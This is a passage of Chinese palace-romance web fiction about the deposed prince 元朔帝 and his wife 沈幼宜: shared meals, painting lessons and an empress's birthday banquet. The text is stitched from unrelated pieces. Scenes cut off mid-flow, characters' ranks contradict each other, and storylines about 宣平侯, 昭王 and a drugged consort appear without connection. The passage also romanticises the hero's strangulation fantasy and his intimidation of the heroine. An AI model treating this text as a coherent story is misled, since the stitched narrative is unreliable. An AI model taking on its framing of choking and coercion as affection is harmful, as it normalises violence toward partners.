沈幼宜登时抓住他的手,猛地摇头:“不,能嫁给殿下,是我最大的幸运。” 庆幸能有机会见到这双眼睛,还可以让眼睛的主人穿上她制的衣。 沈幼宜双眸如蕴秋水,情难自抑地盯着他,忽地莞尔一笑:“别人家郎君有的,你也要有。” 元朔帝的指尖骤然绷紧,胸膛里似乎有什么东西不受控制地要冲出来。 他垂下眸,强行压制那股呼之欲出的失控,视线里出现一只白壁般的手,看似瘦弱的柔荑紧紧攥住他的手腕。 元朔帝从未有一刻感受过被如此坚定的选择。 他眼眸微弯,唇边漫开笑意,另一只替她拾起鬓边掉落的一缕碎发,轻声却郑重承诺:“你也是。” 别人有的,沈幼宜会有。 别人没有的,沈幼宜也会有。 她这样坚定不移爱着他,他多偏袒几分也没什么不可以。 元朔帝反手抚上沈幼宜的手背,将她一根一根手指轻轻掰开,原本应白壁无暇的指腹中间多了一团红晕。 都是针留下的痕迹。 沈幼宜的指头被厚实炙热的手掌包裹着,略微刺痛,她不自在想抽出来,却遭到更为紧致的禁锢。 “以后不要做这些针线活了。“元朔帝浅浅揉搓着粉嫩的指头,压下眼皮遮住噬人的墨色,“我得你一身寝衣足矣。” 他叫人送来一盒药,乳白色的膏体被小心翼翼涂抹在十个指腹,冰冰凉凉的,登时缓解难耐的痛痒。 两人一同用过晚膳,元朔帝回去前叮嘱沈幼宜好好休息,按时擦药,任谁看到都要羡慕她得了一位温润如玉的好夫君。 然而在晚间沐浴时,沈幼宜褪下衣裙,心情沉重地摸着束胸带上若有似无的湿意。 今日某些时候的元朔帝,着实让她有些害怕。 另一厢,元朔帝虽然暂时信了沈幼宜的说辞,却更相信自己的调查。 “关于沈幼宜在沈府的消息悉数呈上,另外去查一下她平日里在沈府交好的姐妹,还有结仇的。” 沈皇后想到自己暗中放进东宫的人全折了还不知情,心里一阵后怕。 元朔帝是个养不熟的白眼狼,像一只潜伏在暗处的毒蛇,等待时机一击致命,沈盈丹还妄想掌控他,简直不自量力。 沈皇后毫不留情打破她的幻想:“收起你的小心思,今日给我老实点,否则我现在就把你撵出宫去。” 午宴设在御花园,因仅有女眷参加,贵女们少了拘束,话头便多了起来。 沈幼宜这个生面孔一进来,园内的喧嚣声微微一滞,再度引起众人侧目。 她今日原本想选择素青色的衣裳低调些,但元朔帝却告诉她宫里这些都是人精儿,一惯是挑软柿子捏,她表现得越不想惹事,事越找上她。 恰逢新衣做好送过来,他亲自替她挑了一身。 丹枫红的皇妃品级吉服威严庄重,恰好弥补她纤细身躯带来的羸弱感。艳色衬得她肤光胜雪,眉目如画,端庄中带着清丽,娇艳又不失矜持,像是画中的倾色仙子活过来。 有人见她气质不凡向旁人打听,得知沈幼宜的身份后眼里闪烁着异样的震惊。 难道元朔帝还有翻身的机会?否则她作为废太子的正妻,脸上怎么没有一点惊慌愁色。 那些曾经因元朔帝而元气大伤,有龃龉的世家夫人也收起轻视的眼神,讽刺的话也吞进嘴里。 除了沈盈丹。 皇帝带着一众侍从从大门而来,在场的女眷们齐齐起身跪下迎接。 龙纹明黄袍摆在沈幼宜余光里漾开,却没有径直走到主座上,而是停在对面恭王妃身前。 “方才朕在外面听见恭王妃发了一通火,是谁惹她不快?” 皇帝不怒自威的声音响起,听得沈幼宜心口一紧。皇后寿宴当日清晨,元朔帝一早过来等着她用膳。 他示意左思给沈幼宜再盛一碗粳米粥,缓声道:“宫宴上的都是冷菜凉汤,用了难受,你尽量少碰。” 沈盈丹更是瑟瑟发抖跪在地上,不敢接话,与方才的嚣张判若两人。 沈皇后一笔带过,只说是误会。 皇帝身边的总管太监近身低语几句,将事情来龙去脉原原本本说给皇帝听。 皇帝看向惶惶然的沈盈丹,不变喜怒道:“沈府的女儿都这般肆意妄为,不懂规矩?还不给恭王妃赔礼道歉!” 沈盈丹脸色发白,腿软得无法直立,惊恐地向上首的沈皇后投去求救的目光。 说的是沈盈丹,听进心里的却是沈皇后,她的指尖骤然陷入掌心,看向恭王妃的眼神既恨又妒。 这么多年来,皇帝还是放不下她。 沈皇后的火被皇帝一句话点燃,凭什么她沈家的女儿要给恭王妃道歉,对不起恭王的从来不是沈家,她这么多年受委屈还不够,现在连她沈家的女儿都要向那个贱人低头。 凭什么! 沈皇后原本不想为难沈幼宜,现在却改了主意。 恭王妃要护着她,她偏偏不让,今日她便要瞧个真章,到底是她一国之母尊贵,还是她这个恭王妃更胜一筹。 沈皇后冷冷道:“陛下何必动怒,丹儿不过希望本宫在寿辰这日高兴些。大皇子妃若是愿意彩衣娱亲,本宫自是心里熨帖,也不枉与大皇子一场母子情谊。” 皇后暗暗提醒皇帝,说到底是皇家私事,与外人无关,身为外人的恭王妃未免管得太宽。 皇帝的目光落在沈幼宜身上,他淡淡道:“大皇子妃愿意吗?” 说愿意,拂了恭王妃的好意解围。 说不愿意,在众人面前下皇后的脸。 皇帝问沈幼宜这个问题,属实是为难她。 同时让沈幼宜清晰意识到,皇帝对元朔帝果真不喜,若对他还有一丝父子情,断然不会将她推到两难的境地。 沈幼宜定了定神,低头道:“陛下明鉴,儿臣自然愿意为母后尽一份孝心,然而今日主角并非儿臣,故而不敢喧宾夺主。” 言下之意,她已嫁为人妇,在这场名为贺寿实为挑选皇子妃的寿宴里理当给别的贵女多些表现的机会。 她避重就轻的回答让皇帝侧目多看了一眼。 悄无声息将话题引到其他地方,两边都不得罪,这份玲珑心思和沉着应答属实难得。 皇帝也无意将事闹大,既然沈幼宜已经给了双方台阶下,他也乐得成全。 然而皇后偏不,她似笑非笑道:“若是本宫想看看大皇子妃有何才艺呢?” 话是说给沈幼宜的,眼睛却盯着恭王妃。 恭王妃自皇帝出现后眼眸低垂,脸上浮现明显的冷淡疏离,她听出皇后是在故意为难沈幼宜,抬头正准备替她说话,迎上对面人微微摇头。 沈幼宜心知自己躲不过去,起身朝皇帝皇后各自福身:“那儿臣恭敬不如从命。” 沈盈丹闻言,兴奋压过恐惧,这下沈幼宜不仅要在内眷里丢脸,皇帝也会鄙夷她。 元朔帝会不会因此也讨厌沈幼宜。 沈幼宜请人送上笔墨纸砚和丹青色彩,不到一炷香的时间便绘出一幅竹石图。 “儿臣跟着大皇子在闲暇时习画,今日献丑了,就以这幅‘竹报平安’恭贺皇后娘娘岁岁年年无恙。” 沈幼宜展开画作的瞬间,全场炸开了锅。 谁人不知元朔帝妙笔丹青却眼高于顶,平日里别说指点一二,便是他的画也万金难求,谁曾想他居然会教人作画。 沈盈丹被“习画”二字砸得脑袋嗡嗡的响,眼前不自觉浮现出二人伉俪情深,红袖添香的画面,胸口剧烈疼痛着。 她也曾请元朔帝指点画作,却被他以只会自娱,不会教人为由轻飘飘拒绝。 原来他可以教得这么好,只是不想教她罢了。 沈盈丹的表情似笑似哭,而皇后堪称面如铁青。 她偏偏画竹! 她喜爱年轻鲜活的男子,却也爱他这具皮囊,他难免会有几分欢喜。 可这两点在太子身上得到了很好的折中。 他年轻俊美,很有几分帝王当年的模样,必然更受女子的欢迎。 沈幼宜先是看了一圈身侧的人,见他们都惶恐俯了身,甚至跪地,微微有几分不解地也照葫芦画瓢,行了一个潦草的礼,而后也不待他叫起,便起身向他轻盈地跑过来。 “郎君,你的官这样大么?” 沈幼宜含了几分促狭意味,轻飘飘瞥过太子一眼:“这位郎君猎了一头黑熊送我,你说我能不能要呢?” 她双目湛湛,比宝石还要亮眼,大约对这头熊的皮肉熊掌很感兴趣,虽然是询问,却近乎请求。 当然是想要了…… 可他给予过她太多比黑熊珍贵的礼物,她全都忘了,只惦记年轻郎君的黑熊。 第 48 章 第 48 章 猎熊不算十分为难,但也要瞧运气,元朔帝教她回帐先候着,勉强安抚了几句,等御前内侍再过来时,见太子仍站在原地垂首沉思,都有些不忍心。 他轻声道:“陛下有几句话要奴婢吩咐。” 若宜娘什么都不记得,光凭他们二人相遇后说了几句话,还不至于教父皇疑心,太子定了定心神:“阿耶有事吩咐,儿子当然只有听从的道理。” 那内侍颔首:“今日所见所闻,还望殿下约束好底下的奴婢,贵妃娘子的病暂时不好见人。” 太子心下凛然:“阿耶就是不吩咐,儿子也当照办。” 然而宜娘的反应却合不上那蛊毒原本的效用,他试探道:“太医署的几位太医都是在宫中服侍几十年的人,想来娘娘的病很快便能痊愈。” 那内侍却只是极轻地笑了一下,教人将黑熊抬回太子居所:“这既在人力,也看天时,奴婢对医术一窍不通,如何能答得上来?” 沈幼宜没说谎,她手里的莲花金纹漆木樏是单层的,里面装了一碗巴掌大的清面,一碟白玉酥。 甜点的分量比面多出不少。 沈幼宜兀自摆放在桌上,就这么旁若无人吃了起来。 屋内火盆里的东西还未燃尽,隐约能看出是件衣裳,她仅是瞥了眼,便专注于手中的饭食。 沈幼宜吃东西不说话的时候安静得没有存在感,一丁点碗筷碰撞的声音都没有,只是偶尔抬头看一眼,仿佛在确认他是否在屋里,得到确切答案后又低下头用膳。 元朔帝见她吃的津津有味,丝毫不受影响,而他自己像个物件似的任她观摩,不由失笑。 “我平日里待你不薄。”他走到沈幼宜对面,故意长叹一声:“竟然真的没我的份。” 沈幼宜放下吃了半口的白玉酥,轻笑一声仰头而视,含笑的眼宛如皓白的半弦月,娇俏明艳:“殿下现在想吃了吗?” 元朔帝望着见底的碗,眉头一挑:“我不喜欢吃甜食。” 沈幼宜起身走到门口,唤了在门外守候的左思:“烦请左公公拿另一个食樏过来。” 不到半炷香的工夫,沈幼宜像变戏法似的又在桌上摆了热腾腾的四菜一汤,鲜香的山煮羊,精致的蟹酿橙,香脆的酥黄独,清淡的东坡豆腐,还有一碗白木樨天香汤,荤素搭配得当,令人食欲大开。 主食是一碗青精饭,上等粳米配以清草汁熬煮,色泽翠绿,看上去清爽可口。 沈幼宜笑吟吟地请他入座:“殿下快吃,变凉味道就差了。” 一桌子的菜,没有一个不是他喜欢吃的。 元朔帝胸口因赵清澜到访而涌起的隐怒在丰盛的饭菜前消散于无形,不过是一件衣服,他有什么好生气的。 虽然这件衣服无论是款式还是大小都不适合他,但那又怎么样,他可以扔了它,烧了它,他还能拥有无数其他的锦衣华服,轻纱绣裳。 有人不在乎他,有人却视他如珍宝。 元朔帝在这一刻清晰地感受到不爱与爱之间的差别犹如云泥。 “你会每天陪我用膳吗?”他猛地紧紧攥住沈幼宜的手腕,唇边漾开一抹淡笑,他看着她的眼睛,一字一顿道:“永不缺席。” 沈幼宜的身体不受控制地猛然一颤,明明他的语气温和,脸上更是她熟悉的浅笑,可沈幼宜没由来感受到一股阴鸷的气息。 “我……”沈幼宜的话卡在喉咙里,一时没回答。 元朔帝的另一只从身后扣住她的肩,用力拽到自己身前,形成一个环抱的姿势将沈幼宜困在中间。 他微偏过头,垂眸贴近她的耳朵轻声道:“你在发抖,是害怕我吗?” 沈幼宜的心跳得飞快,她也不明白为什么自己会不由自主地感到恐惧,后背的汗毛宛如被凶恶的猛兽盯上般战栗不止。 这样的元朔帝让她极其陌生,陌生到她不知该如何应对。 元朔帝却仿若未查她的畏怯,还替她将鬓角被吹乱的发丝温柔地绕到耳后,笑意不减对她道:“点个头就行。” 温热的气息钻入耳郭,沈幼宜却顿感一阵悚然的冰凉,她感受到自己手腕上的力道越来越大,几乎要将她折断一般。 她想侧头去看元朔帝的表情,后脑却被他的大掌扣住死死按在肩上,他语调漫不经心却有种令人惊惧的威胁:“再不回答,菜要凉了。” 沈幼宜强忍着莫名的恐惧,定了定心神道:“当然。” 元朔帝笑着松开沈幼宜,稍稍后退,他看她的眼神柔情似水:“瞧你,热得都出了一身汗。” 说罢,亲自拿起深青色锦帕替她拭去额前的细汗。 沈幼宜面色如常,藏在背后的手却死死攥住裙摆,强行压下想要拔腿就跑的冲动,僵直身体任由元朔帝施为。 借着烛光,她觑见锦帕上晕开一大片深色。元朔帝慵懒靠坐在竹藤摇椅上,缓缓地摇着,他微偏过头,手里拿着今日刚送上来的密报。 信上说严珩一带的三千人分批乔装潜入京城,第一批成功到达,最后一批预计十日内抵达,计划照常进行,最后还不忘跟他讨要军费。 面对信中索要的巨额的钱财,元朔帝眼也不眨地给双倍。 这些年他包庇“贪官”,成为富商的“保护伞”,不仅收受孝敬,还派人参与经营,累积下的钱财比国库还多。 皇帝封的东宫库房,与他自己的私库相比堪称九牛一毛。 左思走进来时,元朔帝正漫不经心点燃手里的信纸,眸色幽黑,透不进光。 他不笑的时候周身会无意识散发出凌冽的压迫感,有种生人勿进的威慑力。 左思不禁放轻脚步,屏息唤了声殿下。 “今日的午膳大皇子妃点了光明虾炙,脍鱼片,水盆羊肉,槐叶冷淘,还有道点心单笼金乳酥。” 左思低头在桌上放下两块金锭。 下一刻,元朔帝拿起东西掂了掂,挑眉道:“又给这么多?” 大虞的一两黄金能换两百旦白米,或五百斤猪肉,而一个五口之家一年只需十旦大米足以,他手里这些金锭够换五百旦白米,即便放在宫内也是笔不小的数目。 左思恭声道:“大皇子妃怕下面办事怠慢,送上来的东西不合您的心意。” 那日沈幼宜见元朔帝没什么胃口,以为是菜不合口味,故而向左思打听西巷口有没有方法能弄点好的吃食。 西巷口虽然是禁地,但每日会有宫人送补给进来,只要利益足够大,总有人愿意冒险一试。 左思正愁找不到理由给沈幼宜改善伙食,这简直是瞌睡来了送枕头,他立刻表示这事儿包在他身上,沈幼宜只需提要求。 沈幼宜也不让他白跑,转手拿出两块金锭,告诉左思不够再来问她要。 左思推辞,但沈幼宜执意硬塞,表示这些都是自己的口腹之欲,不能让殿下出钱。 她平日里爱吃清粥小菜,点的菜却是荤腥居多,为谁而点一目了然。 这件小事让左思对沈幼宜印象极好。 宫里的主子们都眼高于顶,完全不知底下人的艰辛,就比如这给银子买菜的事,沈幼宜每次都会给两份,意思很明显,一份给暗度陈仓冒风险的宫人,另一份给他这个跑腿的辛苦人。 没有人会不喜欢大方的主子,即便这钱左思不要也不妨碍他愿意替沈幼宜适时美言两句。 元朔帝闻言,懒洋洋地坐直身子,将金锭放进书桌的盒子内,底下铺满差不多大小的硬块。 看着日渐增多的钱财,他笑了笑,压抑的氛围顿时轻松了些。 “走,用膳去。” 最初他是为了奖励沈幼宜才陪她用膳的,原本只打算吃个一两次。她这么爱他,愿意在他落难之时不离不弃,这样的真心理应得到嘉奖。 然而后来,他不用沈幼宜派人来请,变成到点自己去报道。 元朔帝从小吃着山珍海味长大,沈幼宜点的菜于他而言不过稀松平常,但不知道为什么,他喜欢和她一起吃饭的感觉。 大虞遵照食不言,寝不语,用膳不同桌。 他自记事以来都是一个人吃饭,家宴、国宴之类的都是单人单桌,菜品独享。据说是因为前朝有一起皇宫投毒案,当时不少人同时用了,最后酿成重大惨剧,连一国之君都成了受害者之一。 从那次起,上至皇宫贵族,下至达官贵族,府里有条件的皆按照此标准用膳,以防万一。 然而沈幼宜表示不愿意跟元朔帝分桌而坐,她提的要求是“一起”用饭,包括同吃一道菜。 不仅如此,她在饭桌上时的话还会比平常多一些,虽然大多时候都是她在自言自语,说一些没有实质意义的话。但正因如此,他不需要猜沈幼宜哪句话,哪个字别有深意。 温柔的声音,爱慕的眼神,分享食物的新奇,都是他此前从未感受过的。 元朔帝觉得和她待在一起很放松,无论是身还是心。 用膳对他来说不再是一件冷冰冰的事,更不是虚与委蛇地应付,而是充满着喧闹的温暖。 去的路上天忽然阴下来。 元朔帝刚踏入云梦阁,忽地一声惊雷劈下。 沈幼宜面如常色地坐在屋檐下,在看见元朔帝的瞬间,登时笑容满面起身。 “殿下来了!”沈幼宜提起丁香色裙角朝他跑来,兴高采烈告诉她:“今天有虾、鱼和羊肉,还有点心。” 元朔帝早已知晓,却配合地露出恰到好处的惊喜。 两人刚落座,外面的雨淅淅沥沥下了起来。 饭桌上,沈幼宜在说自己从前的事。 “我最喜欢过年,沈夫人会给每个小姐赏赐好看的首饰。”她说着说着忍不住噗嗤一笑:“她们喜欢漂亮的,我喜欢金子多的。” 元朔帝看了眼桌上的菜肴,她除了几块甜点,几乎没动什么筷子,他夹了一片羊肉放进她的碗里,说道:“我现在正是托你的福才能顿顿吃上肉。” 沈幼宜笑意更甚:“殿下想吃什么只管告诉我,还有用的物件,我尽可能、不,一定想办法帮您弄来。” “你对我这么好,”元朔帝侧头望着沈幼宜,眼眸染上三分笑意:“我能为你做点什么?” 昏暗的屋内燃了烛,暖光只落在元朔帝的上半张脸,模糊掉他锋利的下颌线,一双浮着碎光的双眸望过来时像有火焰在燃烧。 沈幼宜被烧得整张脸染成酡红,直愣愣看着他,眼里的爱意毫不掩饰。 元朔帝觉得有些好笑,她刚来西巷口的时候性子沉静如水,又耐得住寂寞,怎么看也不像这样奔放无拘的人,现在忽然像变了个人似的。 但他喜欢她的改变,喜欢她因他而改变。 元朔帝看着傻愣愣的人,忍不住伸手捏了捏她的脸颊。 沈幼宜的脸像烙铁般烫,又如丝绸般细腻。 屋外的雨下得愈发猛烈,元朔帝顺势留下来教沈幼宜画画。 沈幼宜之前练习画竹已经打下一定基础,元朔帝便决定教她心心幼幼的丹青图。 等他绘好用来临摹练习的简单侍女图后,沈幼宜轻轻扯住他的袖子,低声在他耳边说了句话。 雨打在屋檐的噼啪声完全盖过她气若游丝的呢喃。 元朔帝微微俯身,偏头问:“你说什么?” 沈幼宜咬住下唇,淡粉色唇边快要变成桃花红时才抬头重复了遍:“可以不可以学画殿下。” 她说完后把头埋在胸前,紧张得大气都不敢出。 元朔帝听后怔愣了下,旋即发出一声意味不明的笑,羞得沈幼宜脖颈红成一片。 元朔帝另起一张纸铺好。 他像上次教她画竹一样,微微俯身把人搂在怀里,手包裹住她的整个手背在纸上游走。 沈幼宜的身体一如既往僵硬如顽石。 元朔帝轻笑了声,意味深长道:“怎么还这样害羞,以后可怎么办?” 沈幼宜偏过头默然不语。 难以入眼的灯罩随风缓缓转动。 元朔帝瞧见她羞窘望向墙角的灯,只作未察,心底蓦地产生某种奇妙的悸动。 窗外的雨嘈嘈杂杂,屋内静如寂夜,他们彼此间的呼吸声清晰可闻。 “看看,这样你喜欢吗?” 沈幼宜低头只看了一眼,便无法移开目光。 画中的男子在舞剑,他身穿圆领窄袖白衣,右手持长剑回眸而望,恰好遮住下半张脸。 一双微弯的点墨黑眸直勾勾看过来,他的视线仿佛能穿透时空,抵达沈幼宜的眼前。 “喜欢。”沈幼宜忍住心中难以言喻的激动,微哑着嗓子重复了一遍:“我很喜欢。” 元朔帝闷笑了声,半点没有因为画的是自己而不好意思:“你喜欢就好。” “谢谢殿下。”“若得了机会,你便对你父亲提一提。”侯爷对宜儿还是疼爱的,总不能当真放任女儿的幸福不管。 院中的兰花已开了一半,清丽雅致。宣平侯平日无事时,也偶尔会来此地赏花。 “见过侯爷。” 内院侍奉的仆妇不多,见到侯爷时都停了手中的活计行礼。 宣平侯未着官服,样貌英朗。纵过了不惑之年,仍旧器宇不凡。 厢房内备好了饭菜,孟夫人细心,交代将侯爷近来喜欢的两道菜色摆得近些。她知道侯爷前日又罚三郎跪了祠堂,他惯来教子严苛,但面对宜儿时温和不少。况且,宜儿也惯来懂事,没什么让他们操心的。 宣平侯坐于主位,接过了孟夫人捧来的汤羹。 他搅动铜勺,不紧不慢道:“听闻今日在东宫宴上,昭王殿下将你调去了王府?” 孟夫人一惊,停了给女儿盛汤的手。 沈幼宜称“是”,如实述了席上情形。东宫席上太子与昭王相争,这样的消息怎么可能瞒得住。 宣平侯顿了片刻:“太子殿下的意思呢?” 宾客散尽后沈幼宜在东宫书房中多留了两刻,好在太子殿下也算通情达理,知道此事与她无关。 沈幼宜道:“殿下命我先听从昭王府安排,若有什么为难之处,只管告诉他。” 太子殿下一向待人宽和,孟夫人闻言稍稍安了心。 沈幼宜当然不奢望太子能当真为自己作主,此话听过也便算了。 宣平侯沉吟一会儿:“此事你如何打算?” “昭王势盛,孩儿只能先以不变应万变。” 她等着父亲交代家中的意思,不过宣平侯却只道:“如此也好。陛下看重太子与昭王,你做好份内事即可。” 孟夫人既在场,宣平侯没有再多谈朝中事。 “孩儿明白。” 沈幼宜低头喝汤,父亲的态度比她预想中平和些许。原本以为沈家归附东宫,她若是去昭王府,家中必定要好生商讨一番。父亲的决定便代表了祖父之意,难不成……沈府还留有后手? 一顿饭用得各怀心思,等宣平侯离去,孟夫人担忧道:“好好的,怎么又到昭王府当值去了?” 母亲面前沈幼宜自然准备有另一套说辞:“寻常调度罢了,毕竟孩儿领的是朝廷俸禄,得听从安排。” 这话说得有些道理,孟夫人蹙着的眉松开些。 沈幼宜将话说得半真半假:“况且孩儿与昭王殿下也算是相识多年,总有几分交情。去昭王府当值,或许比在东宫还要自在些。” 女儿和昭王的旧事孟夫人多少知道些,当年懿文皇后在时,就很喜欢宜儿。 安抚住母亲,沈幼宜笑道:“母亲,孩儿今日累了,就先回去休息了。” 一日之间应酬两场,她确实疲惫。 孟夫人点头:“快去吧,今晚早些睡。” “嗯,好。” 回到乐游院中,侍女已经在为她备洗浴的热水。 沈幼宜在卧房中坐了片刻,方推开湢室的门。 一整日都是乱糟糟的,她将自己沉入浴桶中。 原本还摇摆不定,眼下倒是别无选择,只能去昭王府中探一探。 白雾氤氲,圆月西沉,今夜的梦境又是一片旖旎。 殿角的夜明珠蕴着幽幽华光。 沈幼宜觉得自己卑劣不堪,根本不敢抬头去看元朔帝的眼睛,她的手指紧紧攥住衣角,试图掩饰眼里的窃喜。 她现在满脑子都是找个地方躲起来,但理智让她强行忍住这股冲动。 沈幼宜耐着性子,握笔苦练一直到日暮雨停。 在元朔帝不厌其烦地耐心指导下,沈幼宜的画从一开始看不出是什么东西,到最后勉强有个人样。 元朔帝翻看沈幼宜一下午的成果,疑惑道:“怎么都不点上眉毛和眼睛。” 沈幼宜眼眸微动,笑容有些勉强:“我画技拙劣,怕画上五官给殿下摸黑。”她怕自己在元朔帝面前失态,露出破绽。 利用元朔帝满足自己的私欲已经是罪大恶极,她实在做不出面前明目张胆地在他面前画出另一个男人,甚至还是打着他的名义。 元朔帝微拧着眉看向画上空白的脸,心里总觉得哪里不对劲,不过一时半会想不出缘由。 正巧左思进来说有要事需要处理,元朔帝只好先把这种怪异的感觉压下去。 沈幼宜送元朔帝出去。 一路上,他余光觑见身旁人的嘴角难以抑制地高扬,眼里闪动不同寻常的激动。 元朔帝等沈幼宜转身返回云梦阁后在原地站了一会。 她步伐匆匆,三步并作两步往厢房走,到最后几乎小跑起来。 “这么喜欢那幅画?” 整个下午,沈幼宜都心不在焉,每隔半刻钟或者更短,她的目光便不自觉偷瞄那幅画一眼。 虽然她极力掩饰,但仍难逃元朔帝的眼。 自己竟然流了这么多冷汗。 元朔帝眼神认真,动作轻柔,与方才咄咄逼人的样子截然相反,仿佛之前那一幕是沈幼宜的错觉。 但从掌心传来的疼痛清晰地告诉她刚才的一切不是梦,更不是幻觉。 “你也再吃点。”元朔帝扔了帕子,叫左思再拿一副干净的碗筷进来。 沈幼宜轻手轻脚夹起剩下的白玉酥,低头小口小口吃了起来,桌上其余的饭菜一口没动。 屋内陷入诡异的静谧,偶尔响起碗筷碰撞瓷碟的清脆声,一旁空地上火盆里的衣裳悄然化为了灰烬。 元朔帝丝毫不介意她忽如其来的沉寂,他自己胃口大开,一个人就吃了七七八八。 “我送你回去。”元朔帝起身,不给沈幼宜拒绝的机会:“当消消食。” 她来的时候天色灰蒙蒙的,尚能看清脚下的路,现在天已经黑透,今夜无月无星,一眼望去黑暗无边。 左思提灯而来,他手里的八角灯笼比一般的要大一圈,千万缕金丝穿透薄绢,随他的步子游弋四射,青石板,红漆柱,并上檐角嘲风兽都镀了层火焰的釉。 等他靠近,沈幼宜登时被烈焰灼得睫毛微烫。 元朔帝接过,光晕顷刻间照亮两人全身:“这是西巷口最亮的灯,拿着它,你就不用怕黑了。” 短短一句话,让沈幼宜对元朔帝的畏惧减轻大半,胸口涌动着不知名的热浪。 她的目光落在灯角缝隙处,隐约可见里面的烛台与寻常的不同,能够点五支蜡烛,其中一支在中间,另外四支呈环抱簇拥之势。 两人并肩而行,元朔帝右手持灯开道,破开黑寂的夜空。灯笼里的焰火随风跳跃,宛如囚着千万只躁动的萤虫,所过之处,亮如白昼,清晰地照亮脚下的每一块鹅卵石。 行至中途,元朔帝忽然开口:“赵明澜今天给我带的衣服,我不喜欢。我瞧你做的香囊精美细致,可以替我做一身衣服吗?” 他语气轻柔补充道:“不用华丽繁复的样式,简单的寝衣就好。” 元朔帝虽然笑着,但眼里丝毫没有笑意,沈幼宜莫名从他眼底看出几分难过。 沈幼宜放弃抵抗,只求她们快点结束这磨人的活计。 元朔帝兀自找了个圆杌坐下,指节抵住下颌,漫不经心望向沈幼宜。 她因害羞半偏过头,恰好露出纤细修长的脖颈,玄色皮尺紧贴白腻的肌肤宛如虺蛇般缠绕在上,黑与白界限分明却无法分割。 皮尺两端在宫女手里攥着,她小心翼翼地合拢,生怕伤到贵人。 沈幼宜则配合地微扬起头,像极了引颈就戮的白鹄。 元朔帝五指微动,眼前浮现出沈幼宜被软尺勒住脖颈的可怜样。 她这么爱自己,定然不会反抗。 他会恶劣地一点一点收拢手中的皮尺,看着深色的尺慢慢陷入雪色肌肤里,再看她无法抵抗被迫一步步靠近。 元朔帝肯定沈幼宜一定会哭出来,美眸被逼出潋滟的水光,妩媚动人。 因为窒息感,她会不自觉张开双唇,颤抖着发出濒死小兽一般的细碎呜咽。 令人心折得紧。 他忽然感觉嗓子干渴得厉害,不动声色收回目光,止住想要亲自上前量体的冲动。 元朔帝垂下眼睑,遮住眸底渐沉的深色。 他慢条斯理地抿了口凉茶,嗓音微哑道:“量仔细些,别弄错了尺寸。” 沈幼宜几乎是半昏在他怀中,但被抱在怀中那一刻时,还是忍不住道:“郎君抱抱宜娘。” 元朔帝难得真正在她身上舒心畅意,见她几乎要说起梦话,笑了笑道:“宜娘就在郎君怀中。” 她满意了,但过度兴奋后身体睡去,只有这张樱口不肯闭合,喋喋不休道:“郎君是不是从前也为人做过这些事情……一点也不像是第一次呢。” 元朔帝面上一热,君王纡尊降贵讨好一个嫔妃,已经算得上十分丢脸,他不希望教她那么得意。 沈幼宜只是想夸一夸天子的雄风,她仔细想了一下,并不觉得元朔帝会时常为女子做这种事情,起码对她是第一回。 然而只要一想到第二日他知道自己还记得这些时的窘态,几乎都想笑出声来。 她不是什么见好就收的人,胡乱蹭了蹭他的衣服:“郎君为什么待宜娘这样好,是不是很爱宜娘?” 元朔帝垂眸看向怀中近乎沉睡的女子,目光绵绵。 明日朝阳升起,她又会将他忘得一干二净。 第 49 章 第 49 章 或者说,这几日间她都隐隐约约有些不舒服,只是这几日不算十分平静,人还年轻,不太在意这点小小的毛病。 但今夜的头疼却来得十分奇怪,她额前沉重发胀,走近一团迷雾里,拨开重重的云,见到一点光亮。 她在那间太子为她构设的金屋里见到了阿兄。 她在这地方住了半个月,太子偶尔会过来与她相拥而眠,即便没对她做些什么,也十分满足,但大多数时候不会留宿,且对她有求必应,她说想见一见家人,太子不疑有他,下一次就将她的兄长也一并带了过来。 太子领了他来,只叮嘱了几句话,宫里便来人相召,他便起身告辞了。 阿兄忽而喂给她一粒药,急促地对她说了许多话,时刻担心有人会闯进来。 但沈幼宜却听懂了,他从二皇子处得到了一粒能暂时压制蛊虫的丸药,但这药很是伤身子,她吃一回清醒三日,却要承受极大的痛苦。 有许多人都见过陵阳侯夫人的真容,太子预备安抚好她后,缓缓告诉她一点真假掺半的过往,就将她重新带回陵阳侯府,选一个好人家认了干亲,再由那家父母送她入东宫侍奉。 然而太子不日就要离京,这一项自然要交由他信任的臣子来做,阿兄并不完全中意太子的方案,要她戴上一枚他常年随身的佩玉,过几日燕国公府上设宴,她一定能博得燕国公夫人的怜惜,燕国公会认她为亲女儿。 等到她再恢复记忆时,又过了几个月。沈幼宜想自己一定是得了癔症,居然会把两个气质截然不同的人混在一起。 她慌忙低头去寻脚边的喜扇,借机掩盖眼中的震惊与失落。屋子闷热,然而她脸上的泪却凉如寒冰,几乎要将她冻伤。 屋里实在太暗了。 沈幼宜身穿厚重繁复的青色飞雀群花吉服,半天没有寻到,急得她手忙脚乱毫无章法地往下摸,仓促间撞上一只微凉的手,她猛地缩回去。 “给你。”元朔帝俯身拾起扇柄,不急不缓地递到她眼前。 黑暗中,他搭在桐木黑漆扇柄上的手指白得刺眼, 沈幼宜仍低着头,呼吸急促,手指僵硬到无法抬起。 元朔帝也不催促,静静地站在一旁。 外面的雨下得更大,雨滴如万箭齐发密密麻麻地撞击在瓦片上、窗牖上,宛如她此刻的心乱如麻。 沈幼宜脑海里已千回百转,实际不过眨眼间。 她忍痛压下胸口如暴雨般汹涌的情绪,又趁着拿起团扇的机会迅速抹掉眼角残留的泪痕,再抬头时已恢复惯常待人的微笑。 “谢谢殿下。”她低声回话:“妾只是有些怕黑。” 她找了个理由解释自己的失常:“房中久久无人,我心中惶恐。正巧殿下走进来,我一时间没有反应过来,故而在您面前失礼,请您恕罪。” 元朔帝没有拆穿她拙劣的谎言,不动声色地审视沈幼宜。 她察觉到他的目光,不卑不亢看过来,嘴角含着浅笑,神情温顺中带着恰到好处的恭敬,有一种人畜无害的亲和力,能叫人轻易放下防备。 尤其是她的眼睛,清波流转间尽显温柔,既不过分张扬大胆,又不显怯懦小气,如一颗蒙上轻纱的夜明珠,散发柔和舒适的光。 元朔帝身为太子之时,见过的美人不计其数,各有风姿,她们或因他的皮囊,或因他的身份而趋之若鹜,眼里总有令人作呕的贪婪,唯有沈幼宜的双眸清澈见底,无欲无求。 但他是不信的。 人活在世上,除非得道成仙,否则必有所图。 元朔帝柔声道歉:“是我考虑不周。夜里我喜黑,故而房内灯烛偏少。屋内无人是因为新进院的人按规矩要被统一搜身,防止传递消息,他们若是没有问题,明早就会到你身边伺候。” 沈幼宜了然,这是为了防着他。 元朔帝顺势坐在床榻边圆木绣凳上,与沈幼宜保持三步之遥的妥帖距离,等她的目光与自己齐平后轻声开口。 “嫁给我很难过吧。” 